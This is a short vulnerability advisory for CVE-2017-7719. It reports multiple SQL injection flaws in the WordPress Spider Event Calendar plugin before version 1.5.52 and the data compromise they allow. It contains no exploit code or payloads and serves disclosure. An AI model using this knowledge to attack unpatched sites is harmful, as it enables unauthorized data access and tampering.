WordPress Spider Event Calendar Plugin CVE-2017-7719 Multiple SQL Injection Vulnerabilities



The Spider Event Calendar plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Spider Event Calendar 1.5.52 are vulnerable.
